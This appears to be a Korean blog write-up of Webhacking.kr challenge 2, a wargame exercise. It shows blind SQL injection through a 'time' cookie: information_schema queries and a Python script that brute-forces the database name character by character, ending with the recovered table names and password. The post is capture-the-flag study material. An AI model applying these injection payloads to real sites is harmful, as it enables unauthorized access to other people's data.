본문 바로가기

정보보안/Webhacking.kr

02[Webhacking.kr]

2번째 문제이지만 난이도가 있었던것 같다.

 

다음과 같은 창이 뜬다.

코드를 보면 주석에서 admin.php 에 접근하면 뭐라뭐라 나와서

 

url에 admin.php를 추가했더니 새로운 창이 떴다.

그리고 비밀번호를 입력하니 틀렸다고 나온다.

문제는 이 비밀번호를 찾는것이 문제일 것이다.

 

이전 문제처럼 cookie값을 보니 time 이라는 값이 있다.

이를 1로 수정해보았더니

처음 창에서의 주석의 시간이 바뀌었다. 입력에 따라 주석의 값이 바뀐다.

따라서, 이를 이용하면 blind sql을 이용할 수 있을것이다.

 

(select count(table_name) from information_schema.tables where table_schema=database())

위와 같은 SQL문을 Cookie값에 넣었을때 2가 나온다. 테이블의 개수가 2개 라는뜻이다.

 

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)

다음 두개의 구문으로는 각 테이블의 길이를 알수있따. 13, 3

 

import requests

url = "https://webhacking.kr/challenge/web-02/"
key = ""
pos = 1

for i in range(1,20) :
    for j in range(0,133):
        cookies={"Cookie" : "PHPSESSID=********; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,j)}
        res = requests.get(url,cookies=cookies)

        if res.text.find("09:00:01") != -1 :
            key+=chr(j)
            print(key)
            break


print(key)

다음으로는 파이썬 코드를 다음과 같이 짜서 주석값이 True가 되게하는 알파벳을 bruteforce 방식으로 찾는 것이다.

결과는 다음과 같다.

 

아래의 정보들은 information_schema에서 알수 있다.

 

database 이름 chall2

table 이름  admin_area_pw, log

 admin_area_pw의 칼럼수 1개

칼럼 이름 pw

pw값 kudos_to_beistlab

 

이후에 정답이 해결된다.

 

고찰 : 오랜시간이 걸리는 문제기도 했고

BlindSQL을 눈치채기도 어려웠던것 같다.

파이썬 코드짤때 어떻게 해야 답을 출력해 올수 있는지 고민끝에 다른 글들을 참고 한것 같다.

 

'정보보안 > Webhacking.kr' 카테고리의 다른 글

05[Webhacking.kr]  (0) 2022.10.05
04[Webhacking.kr]  (0) 2022.09.23
03[Webhacking.kr]  (0) 2022.09.22
01[Webhacking.kr]  (0) 2022.09.21